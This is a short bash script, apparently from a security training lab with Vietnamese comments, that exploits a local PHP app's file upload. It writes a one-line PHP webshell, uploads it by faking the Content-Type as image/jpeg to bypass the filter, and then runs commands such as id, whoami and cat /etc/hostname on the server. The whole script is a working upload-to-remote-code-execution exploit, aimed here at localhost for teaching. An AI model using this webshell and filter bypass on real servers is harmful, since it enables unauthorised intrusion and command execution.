#!/usr/bin/env bash
# Exploit lab 7.2 - file upload dan toi RCE
# Yeu cau app chay o 127.0.0.1:8062  (php -S 127.0.0.1:8062 -t www)
set -u
BASE="http://127.0.0.1:8062"
TMP="$(mktemp -d)"

echo "=== [0] Thu upload webshell that (Content-Type that = application/x-php) ==="
printf '%s' '<?php system($_GET["cmd"]); ?>' > "$TMP/shell.php"
curl -s -F "file=@$TMP/shell.php;type=application/x-php" "$BASE/upload.php"

echo
echo "=== [1] Bypass: gia Content-Type thanh image/jpeg (van la file .php) ==="
curl -s -F "file=@$TMP/shell.php;type=image/jpeg" "$BASE/upload.php"

echo
echo "=== [2] Goi webshell vua tai: chay lenh 'id' THAT tren server ==="
curl -s "$BASE/uploads/shell.php?cmd=id"

echo
echo "=== [3] Chay them vai lenh qua webshell ==="
curl -s "$BASE/uploads/shell.php?cmd=uname%20-a"
curl -s "$BASE/uploads/shell.php?cmd=whoami"
curl -s "$BASE/uploads/shell.php?cmd=cat%20/etc/hostname"

echo
echo "=== DONE ==="
rm -rf "$TMP"